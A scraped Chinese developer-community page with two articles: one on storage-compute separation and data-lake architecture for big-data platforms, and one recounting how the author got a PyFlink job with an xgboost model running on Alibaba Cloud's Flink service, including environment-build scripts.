存储利用率+冷热分层。支持基于分布式存储系统上的多层存储(热存储/标准存储/冷存储等)。举例来说,存储降本优化主要依赖于归档与冷存储占比大小。如冷存储占比40+%,存储成本大致下降20+%。系统稳定性提升SRE可靠性提升: 业务稳定性-计算集群与存储集群分别高可用。运维易用提升:独立热升级-支持原地升级、滚动升级、补丁升级,升级时间短。原先耦合造成扩容不便:计算和存储耦合在一起的典型问题,例如每次扩容都需要考虑数据的迁移,给本来简单的扩容工作带来很多风险和不可控因素。技术创新/业务增效创新数据应用:基于统一存储平台之上对多源异构数据的深度分析数据价值的挖掘,大数据+AI的整合应用,以提升数据协同应用效率。硬件利旧降本: 从运维的角度来讲,降低服务器的款型是降低运维难度和工作量的有效手段。随着业务复杂度的增加和新业务线上的加快,对服务器新机型与资源配比的要求也会随之增加。降低服务器的款型很难做到。私有化存算分离改造目的是有两个, 通过存算分离来更顺滑的兼容更多硬件款型, 支持不同计算引擎间混部以降低硬件成本。行业趋势:行业大数据改造升级。随着反全球化浪潮的加剧,政企/金融行业信创大数据升级改造的需求越来越多,如何实现基于自研和信创大数据体系下的存算分离架构成为客户普遍诉求2.2.存算分离架构改造的成本核算在关注存算分离的价值优势的同时, 我们无法回避的就是存算分离改造所来的各种额外成本。大数据平台从来就不是一个简单的数据产品,而是一个完整的围绕大数据的生态体系。大数据存算分离架构改造的可行性评估尤为重要。Figure 3: 存算分离的价值与成本门槛一:为什么大数据存算分离架构先出现在公共云环境下?大数据存算分离架构首先出现在公共云是有其一定确定性的。1-基于高速网络的低成本+高性价比分布式存储(文件系统/对象存储)方案诞生。毕竟如果没有高速以太网的普及与更廉价且高可用的存储方案,大数据存算一体一定还是主流。以上两点技术升级,最先都落在云计算场景上。实现了理论上无限的分布式存储扩展,默认高可用。2-云计算IaaS架构提供自动化运维能力。解决存储计算分离架构升级所带来运维复杂性问题(屏蔽稳定性风险,周期长)。3-云计算架构支持多租户资源共用机制(网络/存储作为基础设施共用), 以降低支撑单用户的成本。用的人越多越成本越低。云计算厂商所提供的基础平台能力基本上解决了运维稳定性风险,改造周期长,资源使用成本的问题。将整体存算分离改造的复杂度明显降低,可行性提升。三大问题的妥善解决(从技术到成本的核算后),让工程师更多尝试在公共云标准IaaS环境下不断改进大数据存算分离的技术方案,无论是数据湖存储加速还是缓存加速等等。门槛二: 存算分离改造的技术债首先是大数据存算分离本身是非常复杂的技术架构改造,其中牵涉到网络改造(带宽/网卡/交换机),硬件适配(CPU,SSD磁盘)。从网络开销到本地磁盘IOPS的性能测试等等。虽然可以参考公共云大数据存算分离的架构实践,但因为由于技术差异较大,对大数据架构和运维提出了极高的要求。当前业内也有相关的商业化公司提供大数据存算分离的成熟方案。读写IO性能损耗从新架构到新硬件的适配网络传输的稳定性风险技术改造的不确定性风险架构改造周期长,过渡期运维复杂度门槛三:私有化大数据存算分离改造的额外成本新硬件采购成本私有化自持大数据存算分离架构需要定制相关硬件,包括网络设备部署,专线,存储设配等。在加上超高网络带宽改造、超低延迟支撑,整体的采购成本是非常高的(网络部署和使用成本、供电成本)运维复杂度的明显提升之前已提, 存算分离本身是个异常复杂的架构改造工作。之后从改造开始到后续运维的很长一段时间内, 整体系统的稳定性问题和风险是会明显上升的。云计算厂商通过整体IaaS的统一架构布局,屏蔽了相关问题。但私有化部署场景下依然存在。大多数硬件无法利旧很多情况下传统硬件对存算分离利旧可行性存疑,因为真正的存算分离架构对硬件(服务器/网络/交换机)都有比较明确的定制优化需求,常规通用的服务器往往无法满足存算分离的架构要求满足监管合规要求在金融行业等强监管行业往往因为国家监管合规要求,导致机房物理隔离,网络隔离,其本身给存算分离改造造成了很多困难。这样讲产生新的额外成本负担。2.3.在哪些数据密集型行业场景下存算分离解决什么业务问题?大数据存算分离本身是一个技术解决方案。更多的需要选择合适的业务应用场景是支撑好业务价值转换。在互联网行业的蓬勃发展一直有赖于海量多源数据不断的增长, 属于典型的数据密集型行业,通过数字化方式来分析挖掘来实现数据的价值。其对多源线上数据的探查/分析/挖掘有赖于存算分离架构上所构建的多源数据汇聚(统一存储数据湖)和实时离线混合分析能力(支持Hive/Spark/Presto/ES等各类计算引擎)。另外因为互联网行业对大数据SRE稳定性要求较高,存算分离改造后的业务SRE稳定性明显有提升。因此在互联网及泛互联网行业存算分离的需求是清晰而明确的。相比互联网存算分离应用的遍地开花,在非互联网行业对数据密集型场景的应用挖掘需求日趋强烈,因为行业不同,其对大数据架构的主要诉求差异大。其中数据密集型的智能制造(汽车)与消费科技行业因其对各端数据的强烈需求,对处理数据的资源利用率要求高,伴随着存算分离应用增大。而金融行业正处在全面数字化改造的进程中,该业内普遍共识是依托于大数据存算分离等新技术来加速金融科技数字化转型升级。另外金融与互联网的互相借鉴,让金融行业中各类应用数据极速增长,产生了对资源成本优化与运维稳定性的典型诉求。而政企行业大多属于非数据密集型行业(除GA,运营商),对存算分离技术改造需求不算强烈。但随着政府国务院印发的全国一体化政务大数据体系建设指南中的体现,相信很快存算分离也将成为政企行业标准。引用: 国务院办公厅关于印发全国一体化政务大数据体系建设指南的通知2.4.典型客户存算分离需求分析以非互联网的金融行业为例,客户典型考虑存算分离为业务提供的整体价值(降本是必要非充分条件)。其中还裹挟着其他非功能性需求,包括监管合规,容灾备份,高可用等。因此实现广大的行业大数据存算分离改造,是非常复杂且庞杂的系统化工程。案例一:某互联网金融公司背景:存算一体架构。离线数仓存储增长261%,计算增长205%,受限于存算一体,存储和计算容量调整是同比例变化的,对于计算存在一定的浪费。主要需求:1-成本高,存不下年年存储100%增长。计算资源增长不大。如何实现存算分离改造?稳定性:离线数仓环境,由于存算一体部署共用磁盘资源,当磁盘io被计算资源占满后,导致dn服务不能正常发送心跳而失联,造成hdfs集群不稳定。2-计算资源效率提升。在离线混部,降低成本离线数仓每天晚批(0-9)点计算资源不足,而公司内联机业务服务器资源相对空闲,不能充分利用计算资源,存在资源浪费3-要求线下存算分离,金融政策监管要求,不能上公共云。4-灾备与双活存算分离后,容灾备份主要依赖于统一存储的高可用能力与元数据定期备份机制3.[内在]大数据存算分离统一能力拆解3.1.存算分离骨架:计算与存储集群物理分离改造可以实现计算和存储资源的单独扩容,然后原本分散的数据实现集中存储,打造统一数据湖计算存储的分离后,可便利实现计算层产品版本的灵活管理,存储部分求稳,要保持存储层版本稳定。计算部分求快,可以通过数据沙盒和容器技术,实现不同算力模型的快速交付,各部分独立升级互不影响。从湖仓一体到批流一体背后所体现的诉求都可以解决计算与存储不同资源的有效利用,资源错配问题。3.2.存储服务化与异构存储应用独立部署HDFS及存在的问题HDFS独立部署,计算节点可以通过本地IO访问本地DataNode, 或者通过网络传输读取HDFS上的数据。但是HDFS独立部署会存在如下问题:HDFS云上部署成本相对过高(ECS集群),运维成本高。高可用方案三副本占用存储空间大。HDFS的NameNode 只能 Scale-up(垂直扩展:只能通过提高机器的配置实现扩展,无法通过增加机器数量实现扩展)。文件数量超过5亿只能做 Federation(联邦),增加了运维管理的成本,也影响使用效率。NameNode只有双机互备方案,高可用性不足。Java GC会影响系统可用性。根据实际运维经验,一般在 3 亿文件以内,运维 HDFS 还是比较轻松的,3 亿文件之后运维的复杂度就会明显提升,峰值可能就在 5 亿文件左右,就达到单机群的天花板了。文件量更多,需要引入 HDFS 的 Federation 联邦的机制,但是它就增加了很多的运维和管理的成本。存算分离作用:存算分离的架构需要对存储底座做选型。 传统大数据存储文件系统HDFS默认采用三副本,整体成本更高。HDFS适合存储大文件,更适合Hadoop的结构化/半结构化场景。相比之下,对象存储有以下优势:第一,存储优化,采用EC纠删方法,可以实现更高的利用率,低成本且高可用。第二,对象存储是服务化的,开箱即用免运维。不用做任何的部署监控运维这些工作,特别省事儿。第三,弹性伸缩,企业可以按量付费,不用考虑任何的容量规划,开一个对象存储的 bucket ,有多少数据写多少数据,不用担心写满。另外,随着对象存储的使用更加普遍的趋势, 有越来越多技术方案来支持海量中小文件处理。这对大数据/非结构化数据分析场景较有用。Figure 4: 各种数据存储模式云端存算分离已成熟: 基于对象存储之上的文件系统映射能力应用广泛(JindoFS&JuiceFS/虚拟文件系统Alluxio)对象存储在并发访问的支持、前端应用的调用等方面,由于接口间接,默认高可用,以及采用成本可控的分布式架构,相比块存储和NAS存储有很大优势,对象存储因此是云端存算分离架构的主流存储底座。云下存算分离探索时: 如果没有成熟且低成本的支持存算分离架构的独立存储解决方案。存算分离私有化都无从谈起。线下自持存储集群的成本普遍要高于借助云网络架构来搭建的分布式对象存储方案。以下介绍几种典型的线下分布式存储解决方案开源存储方案-Ceph存储/CubeFS/Lustre文件系统不少业内大厂都在基于开源方案独立自研存储系统,以此来搭建支撑多业务的统一数据存储平台。例如某些创新消费科技公司采用CubeFS/Lustre分布式文件系统作为存储平台等等。3.3.存算分离资源池化: 统一调度/弹性伸缩大数据资源管理与存储的架构,逐渐从HDFS与YARN紧耦合,演进到存储与资源管理的解耦的形态。Figure 5: Hadoop的资源与存储分离架构通过统一算力资源池实现资源统筹调度,对资源细粒度的优化管理与调度很有帮助。可以将离线计算与其它在线计算任务进行资源混部达到峰谷互补的效果,有助于提升服务器资源利用率和管理运维效率。可以根据业务优先级来为不同业务计算任务分配对应资源,确保资源间不存在资源抢占。在业务高峰期,以极度弹性扩缩容模式调用算力资源。3.4.异构计算的工作负载混部:计算和IO之间动态平衡存算分离作用:彻底解决多种计算引擎(数据仓库+数据湖)工作负载混部的问题。在离线混部:支持离线计算与实时计算资源的Seamless切换离线实时一体混部湖仓一体混部流批一体混部大数据云上云下混部: 数据存储保留在本地,机器学习等计算资源部署在公有云,既考虑了安全性,又实现了计算的敏捷3.5.大数据智能运维: DataOps+MLOps存算分离作用:热升级:支持原地升级、滚动升级、补丁升级,升级时间缩短弹性伸缩:支持客户自助不停服,弹性扩缩容计算节点,存储节点可按照半年周期扩容。故障解耦:存储故障和计算节点故障解耦,方便故障定位和恢复。信创解耦:计算/存储节点信创适配主要由ECS/K8S/存储团队解决,不需要自己适配。4.[应用]大数据存算分离之上的数据湖仓4.1.数据湖的定义数据湖本身的定义相对比较宽泛,当前所指的是狭义层面的数据湖。统一集中分布式存储库,包含物理与逻辑数据湖允许存放各类原始的结构化数据/半结构化数据/非结构化数据数据湖存储支持服务化能力从这个定义来看,把HDFS定义数据湖并不是准确的提法。HDFS主要支持相对结构化数据存储。4.2.存算分离与数据湖的关系关于存算分离与数据湖的关系,主要是要讲清楚现代数据湖的架构设计所需的构成因素。其中包括以下内容:         1. 存算分离2. 将单体框架分解为同类最佳框架3. 无缝对接跨小型和大型文件/对象数据的性能4. 支持横向可扩展的软件定义云原生解决方案由此可以看出存算分离技术属于构建现代数据湖的必要非充分条件。大数据存算分离改造是实现数据湖的第一步。4.3.数据湖与数据仓库的对比与关系有了数据湖,是不是就不需要数据仓库了?在业务实践过程中发现,数据湖与数据仓库更多的是相辅相成的关系。我们可以看到数据湖与数据仓库虽然应用场景不同,但明显有互相融合的趋势。首先,以下内容数据湖与数据仓库的能力对比Figure 7: 数据湖与数据仓库的对比其次,我们来看一下数据湖与数据仓库的相互融合的特性。从数据湖到湖仓一体,以数据湖为基石,在湖扩展数据仓库的部分能力,走向LakeHouse。从数据仓库到仓湖一体,以数仓为核心,扩展数据湖的开放性和可扩展性,支持非结构化等原生数据的处理等。5.[实践]数据湖存算分离实践-公共云方案分析从以上多个层面的分析可以看到,源于云计算IaaS兴起的存算分离架构。当前存算分离已在公共云环境下被广泛使用,其原因也已在上文所提及到。在此我们来分享基于阿里云公共云架构下的数据湖仓存算分离方案最佳实践。5.1.DataLake数据湖存算分离参考架构数据湖存算分离的参考架构可以被分解为三个大层面,分别是存储层,数据加速层和计算层。其架构优化路径也是从Botton Top的层次来实现。以下根据数据湖存储/数据湖存算中间件/统一元数据管理/LakeHouse湖格式等多个维度来体系化阐述数据湖的存算分离架构实现参考架构。Figure 8: DataLake数据湖存算分离参考架构5.2.数据湖分层存储:对象存储OSS服务化对象存储在并发访问的支持、前端应用的调用等方面,由于接口间接,默认高可用,以及采用成本可控的分布式架构,相比HDFS文件系统,块存储和NAS存储有很大优势,对象存储因此是云端存算分离架构的主流存储底座。以阿里云OSS为例,建立统一数据湖存储。Figure 9: OSS数据湖存算分离优先存储方案-云端对象存储服务化对比企业自建存储的费时费力,阿里云云上对象存储是个性价比更高且行之有效的方案。Figure 10: 企业存储与对象存储OSS的对比加上基于对象存储之上的分布式文件系统加速映射能力应用广泛(JindoFS&JuiceFS/虚拟文件系统Alluxio)优势一:OSS冷热分层存储。支持智能存储模式依托OSS分层存储能力,优化存储利用率如在不使用缓存集群机制的情况下, 客户全量数据可都存放在OSS分层存储内,相比可再减少存储成本30+%。优势二:面向大数据场景的OSS-HDFS。HDFS一键上云•是在阿里云上把 JindoFS 全托管服务化的部署形态,开箱即用,无须运维 •是在 OSS 上提供了全托管的 HDFS 元数据服务,数据仍然存储在 OSS 上•该服务二进制兼容开源 HDFS,功能全面对齐,实现 HDFS 数据无缝迁移•适用场景与限制•Hive/Spark 大数据分析、ETL 计算•HBase、Flink 替代 HDFS•HDFS 重度依赖,上云平迁•AI 生态,充分 POSIX 支持5.3.数据湖元数据管理DataLakeFormation无论是从客户视角来看,还是从存算分离架构的需求来看,都需要在基于统一存储之上的独立元数据管理体系,来支持多种计算引擎来管理数据湖上结构化与非结构化的数据存储。在过去的业务实践中,有不止一次金融客户愿意采用类似阿里云DataLakeFormation/AWS Glue的元数据管理产品,用来补全数据湖存算分离架构的最后一块拼图。但是由于投入与人力受限,很难做到完善成熟的产品商业化输出。Figure 12: DataLakeFormation元数据管理5.4.数据湖分布式存储加速层在存算分离架构下,计算集群与存储集群的分离会造成网络间数据交换的成本激增。在此情况下,存算中间层就变得尤为重要。存算中间层是要解决统一数据访问+通用存储计算加速的核心需求上。以阿里云数据湖存储加速产品JindoData为例Figure 13: JindoData数据湖存储加速产品JindoData作为阿里云领先的数据湖优化产品系列。支持分布式数据编排与文件系统体系建设。 针对 原先的JindoFS 架构整体升级,将两个模式(Block模式与Cache模式)加以拆分,一分为二,分别定义为JindoFS 分布式文件存储系统与 JindoCache 缓存加速引擎系统,新升级的 JindoFS 专注打造下一代数据湖存储系统,缓存加速的功能则交给 JindoCahce 加速系统,两者松耦合同时也紧密协作。新的 JindoFS 作为统一文件系统,将 HDFS 兼容和功能对齐作为核心目标,把 HDFS 重度用户和头部用户的上云平迁作为核心考虑要素,并着重解决云原生数据湖场景跨产品打通访问的痛点。目前新版本 JindoFS 已经完成服务化部署嵌入到 OSS 产品,推出全托管 OSS-HDFS 服务,并上线开服使用。关于 JindoFS 我们会有多篇文章从多个方面对它展开介绍,本文着重把它和开源 HDFS 加以对比,系统阐述我们为什么把 JindoFS 打造成为 HDFS,而且是云时代更好的 HDFS。5.5.LakeHouse湖格式TableFormatLakehouse = 云上统一对象存储 + 湖格式 + 统一湖管理平台 Figure 15: LakeHouse湖仓一体开源湖格式TableFormat: Hudi / Iceberg / DeltaLakeFigure 16: LakeHouse湖仓一体-湖格式阿里云开源大数据LakeHouse实践应用Flink+Iceberg日趋成熟Flink CDC实时入湖,ODS层的实时化Flink CDC分库分表合并,增量+全量批流一体的写入和读取Spark+Hudi/DeltaLake实践经验丰富创新方案: Flink+TableStore面向流计算的湖格式湖格式能力对比内容5.6.统一资源调度-从YARN到K8s随着数据湖存算分离不断深入, 围绕基于云原生架构下来建立统一容器化资源调度系统成为数据湖存算分离发展的必要组件。为大数据与AI一体化架构提供统一资源池化与在离线混部的基础支撑。•全局架构统一:多种资源管理集群整合到统一调度架构,多业务资源池升级到统一资源池架构•全局调度打通:在不同业务之间实现在离线混部,支持在一个机房内,应用可跨多个k8s集群部署•全局额度打通:多业务之间应用额度可全局管理,确保全局范围内不超额,同时可实现额度相互共享与转移Figure 17: 统一资源调度参考5.7.数据湖存算分离公共云用例数据湖存算分离的公共云应用实践主要是对外面向用户的提供更开放与更灵活的大数据分析能力, 支撑不同形态计算引擎能力与开放存储多源且不同结构的数据。以下数据湖存算分离产品体系是基于阿里云计算平台多年经验所沉淀的大数据应用最佳实践。来打造的数据湖湖仓一体的最佳实践。Figure 18: 数据湖存算分离用例数据湖存算分离方案优势围绕数据湖体系建立完备的标准云上大数据存算分离产品体系数据湖存储加速套件JindoData(分布式文件系统+缓存加速)。支持OSS对象存储服务化统一元数据管理DLF对齐AWS Glue,支持数据分层存储的全生命周期管理[开源]EMR弹性底座升级-太昊平台。极致弹性伸缩,多硬件适配,异构计算混部,数据开发平台对接Figure 18: EMR 2.0 分业务场景的开源大数据集群类型[开源]EMR Doctor大数据医生[自研]MaxCompute / Hologres 基于OSS数据湖上的即席查询分析EMR+DataWorks统一数据开发平台,EMR+全托管Notebook6.[对比]数据湖与ServelessDW存算分离方案对比6.1.ServelessDW的存算分离架构特征Serverless云数据仓库产品是面向云计算发展方向的解决极致扩展性和弹性伸缩,自动化运维(内置高可用和容错能力)的高性价比方案(Cloud Ground Up)。云数据仓库产品的存算分离架构应用需求与数据湖的开放存算分离应用有所不同。因为云数据仓库的无服务器化/免运维特性, 用户直接以Serverless服务化方式来使用数据分析工作, 对基础架构无感。其更多是对内解决海量数据增长后,对系统持续提升各类资源利用率的需求。例如阿里云云原生数据仓库ODPS-MaxCompute存算分离架构下可以在各种业务场景和负载条件下可以实现计算水位90%+、存储水位80%+。对比当前业内最典型的ServerlessCloudDW产品形态:ODPS-MaxCompute ,  Google BigQuery and Azure SQL Data Warehouse.有三个重点的内容提供数仓存储能力,内置存算分离架构离线ELT,ServerlessELT近实时分析,支持大规模复杂聚合分析6.2.ServerlessDW的优缺点优:全托管模式,节省运营/运维费用云数据仓库可以让您将麻烦的管理任务外包给必须满足服务等级协议的云服务商。这样可以节省运营费用,并使您的内部团队专注于增长计划。优:SLA保证,比本地数据仓库更好的正常运行时间云服务商有义务满足服务等级协议 (SLA),并通过可顺畅扩缩的可靠云基础架构提供更好的正常运行时间。本地数据仓库具有规模和资源限制,可能会影响性能。优:可灵活弹性扩缩云数据仓库具有弹性,因此可以根据您的业务需求变化顺畅扩容或缩减。优:按资源需求付费,价格灵活,成本效益高借助云,您可以采用灵活的价格模式,选择根据用量付费或使用更可预测的统一费率方案。有些服务商按吞吐量或每节点每小时收费,有些服务商则对一定量的资源按固定价格收费。不管采用哪些模式,您都可以避免为每周 7 天、每天 24 小时不间断运行的本地数据仓库支付巨额费用,无论是否有在使用资源。优:近实时分析云数据仓库支持流式数据,允许您实时查询数据,以便快速做出明智的业务决策。优:机器学习和 AI 计划客户可以快速发掘机器学习的潜力并应用于相关使用场景,以预测业务成果。缺:自研数仓依赖生态开放,缺少与第三方大数据生态产品整合对接缺:部分运维工作需要用户参与。ServerlessDW对用户运维学习能力要求高参考:https://cloud.google.com/learn/what-is-a-data-warehouse6.3.云原生数据仓库ODPS-MaxCompute的存算分离优势ODPS-MaxCompute ServerlessDW存算分离数据仓库ServerlessDW对比开源存算分离的核心优势MaxCompute产品优势MaxCompute存算分离能力演进存算分离1.0: 物理存算分离架构高安全与稳定性存算分离1.1: MCQA-MaxCompute ServiceMode查询加速优化。存算分离2.0:ODPS仓湖一体MCQA+DLF+OSS 外表查询Hologres+DLF+OSS即席查询分析能力存算分离2.1: 增量计算增量计算-流式Tunnel写入增量计算-Schema Evolution增量计算-增量更新ACID2.0 Upsert存算分离3.0:实时离线一体架构演进- 统一调度存算分离3.1:MaxCompute开放存储 - StorageService6.4.云原生数仓与开源数据湖的能力对比特征分类ServerlessDW+仓湖一体MaxCompute+PanguDataLake+LakeHouse湖仓一体EMR+OSS存算分离定义ServerlessDW存算分离架构数据湖存算分离架构存算分离特性更安全,更高效更开放,更灵活统一调度Fuxi on K8sYarn on K8s / ACK计算引擎优化MaxC SQLEngine + MCQAEMR-Spark3.0 / RSS存算中间层MaxCompute CacheJindoData统一元数据管理MaxC统一元数据DataLakeFormation统一存储访问Storage ServiceOSS API / OSS-HDFS API分层存储MaxC分层存储OSS分层存储增量计算TableFormatMaxC ACID2.0DeltaLake/Hudi/Iceberg实时分析OLAP扩展HologresPresto / StarRocks等大数据在离线混部MaxC统一调度 EMR+K8s+OSS从以上的能力对比侧面可以看到大数据技术领域已逐步走向成熟和融合,无论是数据湖还是数据仓库架构技术。 ODPS-MaxCompute云原生数仓正在向下一代云原生存算分离数仓演进。从存算分离1.0的物理存算分离,到存储分离2.0的仓湖一体,再到现在正在进行中存算分离3.0架构升级-统一调度/资源混部等等。7.[总结]大数据存算分离方案总结计算正向轻量化和容器化方向发展,计算存储分离架构演进随着云计算的普及已成为事实标准。大数据存储分离后,无论是使用云计算的低成本存储还是用企业级的存储基座,替代原来的原生大数据存储基座,可把当前企业级高性价比存储方案的先进技术带入到大数据系统里面来,包括高可靠、高利用率、多协议融合等能力,再加之更加弹性且精细化的资源管理体系。 更好地释放大数据的核心价值。-大数据存算分离因其复杂度高,运维难度大。其整体方案可行性需与业务价值挂钩。-大数据上云与存算分离紧密相关,有了云计算,才让大数据存算分离真正走向商业化。-大数据存算分离改造,公共云架构已日趋成熟,成为行业标准。专有云大数据存算分离因其本地化架构相对复杂,在持续演进与优化中。-无论是湖仓一体,流批一体,实时离线一体,都需要找到精准的数据应用场景才能有价值。否则皆是空谈。-大数据存算分离的技术核心主要来自于统一存储(分层存储)/统一资源调度(混部)/在线离线计算引擎协同的建设。其他皆是围绕其展开的。-大数据存算分离的产品表现形态各有差异,不能一概而论。开放生态的数据湖存算分离与Serverless稳定高效的云数据仓库存算分离,产品能力各有千秋。随着数据湖与数据仓库技术融合趋势凸显,数据湖仓的技术整合会越来越被关注。参考内容https://mp.weixin.qq.com/s/d7MC-9kyawOUMr-PVSFWXghttps://www.sohu.com/a/587783648_355140GCP DataWarehouse: https://cloud.google.com/learn/what-is-a-data-warehousehttps://www.stitchdata.com/resources/google-bigquery/https://www.serverless.com/blog/things-consider-building-serverless-data-warehousehttps://xie.infoq.cn/article/24f184b066c50a6d15c23f3ff
文章
存储  ·  弹性计算  ·  运维  ·  Cloud Native  ·  大数据  ·  调度  ·  对象存储  ·  云计算  ·  混合部署  ·  分布式计算
2023-01-01
阿里云实时计算Flink部署运行pyflink脚本
1.概述需求:读取Kafka数据源,引入py模型,输出预测结果实时计算Flink环境:已预装了Python 3.7.9,预装Pandas、NumPy、PyArrow等常用的Python库脚本:1.pyPredict.py:读取Kafka,写入Kafka2.xg-model.pkl:xgboost模型,输入特征因子,输出结果思路:将模型文件以pandas udf形式进行调用2.部署过程2.1上传依赖及脚本1.在资源上传界面点击上传资源将pyPredict.py和xg-model.pkl上传上去2.因要读取kafka,需要kafka-connect依赖,在maven上下载flink-connector-kafka依赖jar包flink-connector-kafka_2.12-1.13.6.jarhttps://repo.maven.apache.org/maven2/org/apache/flink/2.2创建作业1.将依赖及作业填入下方,提交作业点击运行2.在作业启动日志里出现错误:ERROR org.apache.flink.client.python.PythonDriver [] - Run python process failedjava.lang.RuntimeException:Python process exits with code:13.怀疑是使用了错误版本的jar包,后来注意到阿里云FLink有使用限制:仅支持开源Scala V2.11版本,如果Python作业中依赖第三方JAR包,请确保使用Scala V2.11对应的JAR包依赖4.将jar包换成flink-connector-kafka_2.11-1.13.6.jar版本,运行作业后又分别出现如下错误:ModuleNotFoundError:No module named 'joblib';ModuleNotFoundError:No module named 'xgboost';ModuleNotFoundError:No module named 'scipy';上述报错应该是模型文件xg-model里需要的,参考阿里云文档将对应的model包下载下来并上传至资源列表中scipy-1.1.1-cp37-cp37m-manylinux1_x86_64.whl;xgboost-1.6.2-py3-none-manylinux2014_x86_64.whl;joblib-1.2.0-py3-none-any.whl;5.将上述作业提交运行之后报:ImportError:cannot import name '_ccallback_c' from 'scipy._lib',经过各种尝试解决问题都不行还是报这个错误,参考StackOverFlow上的建议也是没解决https://stackoverflow.com/questions/64658954/importerror-cannot-import-name-ccallback-c-from-scipy-lib后咨询一位阿里大佬,让我用如下方式编译包进行使用https://help.aliyun.com/document_detail/207351.html6.参考阿里的文档在一台装有docker的服务器上(仅需docker就行,不需要服务器有py)a.编译第三方Python包。 i.在本地准备requirements.txt文件,其内容如下。scipy joblib xgboost ii.在本地准备build.sh脚本,其内容如下。#!/bin/bash set -e -x yum install -y zip PYBIN=/opt/python/cp37-cp37m/bin "${PYBIN}/pip" install --target __pypackages__ -r requirements.txt cd __pypackages__ && zip -r deps.zip . && mv deps.zip ../ && cd .. rm -rf __pypackages__ iii.执行如下命令。docker run -it --rm -v $PWD:/build -w /build quay.io/pypa/manylinux2014_x86_64 /bin/bash build.sh该命令执行完后,会生成一个名字为deps.zip的文件,该文件为编译之后的第三方Python包。b.将deps.zip打包上传至资源列表,资源过大则采用OSS上传7.重新运行作业日志中又出现如下错误:AttributeError:'super' object has no attribute 'get_params'。经与大佬沟通怀疑是py版本兼容问题,接下来采用自定义Python虚拟环境把py版本换成3.8版本,因为模型文件xg-model.pkl是3.8版本生成的2.3自定义虚拟Python环境自定义Python虚拟环境需要使用vvr-6.x版本引擎,目前实时计算Flink最高版本引擎为vvr-6.0.2-flink-1.15准备Python 3.8的虚拟环境。在本地准备setup-pyflink-virtual-env.sh脚本,其内容如下。set -e # 下载Python 3.8 miniconda.sh脚本。 wget "https://repo.continuum.io/miniconda/Miniconda3-py38_4.12.0-Linux-x86_64.sh" -O "miniconda.sh" # 为Python 3.8 miniconda.sh脚本添加执行权限。 chmod +x miniconda.sh # 创建Python的虚拟环境。 ./miniconda.sh -b -p venv # 激活Conda Python虚拟环境。 source venv/bin/activate "" # 安装PyFlink依赖。须使用1.15版本的flink # update the PyFlink version if needed pip install "apache-flink==1.15.2" # 安装模型文件依赖保持与本地环境版本一致 pip install "scipy==1.6.2" pip install "joblib==1.0.1" pip install "xgboost==1.6.1" # 关闭Conda Python虚拟环境。 conda deactivate # 删除缓存的包。 rm -rf venv/pkgs # 将准备好的Conda Python虚拟环境打包。 zip -r venv.zip venv b. 在本地准备build.sh脚本,其内容如下。#!/bin/bash set -e -x yum install -y zip wget cd /root/ bash /build/setup-pyflink-virtual-env.sh mv venv.zip /build/ c. 在命令行,执行如下命令,完成python 3.8虚拟环境的安装。docker run -it --rm -v $PWD:/build -w /build quay.io/pypa/manylinux2014_x86_64 ./build.sh执行完该命令后,会生成一个名字为venv.zip的文件,即为Python 3.8的虚拟环境。2.在Python作业中使用Python 3.8虚拟环境。a.将venv.zip文件上传至资源列表,文件过大采用OSS上传,因虚拟环境已经将模型文件所需的包打进去,这里只需要venv.zip文件即可;因使用flink1.15版本,则需要1.15版本的kafka-connector包flink-sql-connector-kafka-1.15.2.jar(1.15去scala化了,没有2.11的后缀了)jar下载路径https://nightlies.apache.org/flink/flink-docs-release-1.15/docs/connectors/table/kafka/b.单击右侧的高级配置,在更多Flink配置项,添加配置信息python.executable: venv.zip/venv/bin/python python.client.executable: venv.zip/venv/bin/python3.运行作业,运行日志出现:java.lang.NoSuchMethodError:org.apache.flink.metrics.groups.SinkWriterMetricGroup.GetNumBytesSendCounter()Lorg/apache/flink/metrics/Counter;经咨询阿里kakfa大佬,这是一个已知问题。用vvr内部的kafka可以先解决。社区的得到1.15.3才能解决;4.vvr内部可以直接这么用:在右侧高级配置里添加pipeline.classpaths: 'file:///flink/usrlib/ververica-connector-kafka-1.15-vvr-6.0.2-3-SNAPSHOT-jar-with-dependencies.jar;file:///flink/usrlib/ververica-connector-common-1.15-vvr-6.0.2-3-SNAPSHOT-jar-with-dependencies.jar'或者代码里添加table_env.get_config().get_configuration().set_string("pipeline.classpaths", "file:///flink/usrlib/ververica-connector-kafka-1.15-vvr-6.0.2-3-SNAPSHOT-jar-with-dependencies.jar;file:///flink/usrlib/ververica-connector-common-1.15-vvr-6.0.2-3-SNAPSHOT-jar-with-dependencies.jar") 5.重新运行作业出现AttributeError:'super' object has no attribute 'get_params'​错误,和上面直接使用阿里云环境出现同样的问题。现在可以排除是Py版本的问题了,查看报错原因,是因为缺少cikit-learn包https://stackoverflow.com/questions/68433215/attributeerror-super-object-has-no-attribute-get-params-while-deploying在上述setup-pyflink-virtual-env.sh脚本中添加,重新打包pip install "scikit-learn"6.重新运行,作业正常启动,也有结果输出2.4使用阿里云环境直接运行1.参考2.2中编译Python包,在requirements.txt文件中添加scikit-learn,重新打包2.使用vvr-6.x引擎直接运行,发现作业正常,有数据输出3.总结部署py作业实属不易,期间出现很多问题,也走了不少弯路,前前后后折腾了3天,才把问题解决,期间还得多谢阿里大佬的支持打铁还需自身硬啊,兄弟们,得多多学习啦这期就到这里了,拜了个拜
文章
消息中间件  ·  Java  ·  Kafka  ·  Scala  ·  Apache  ·  对象存储  ·  流计算  ·  Docker  ·  Python  ·  容器
2022-11-01
云原生编程挑战赛--攻防实践
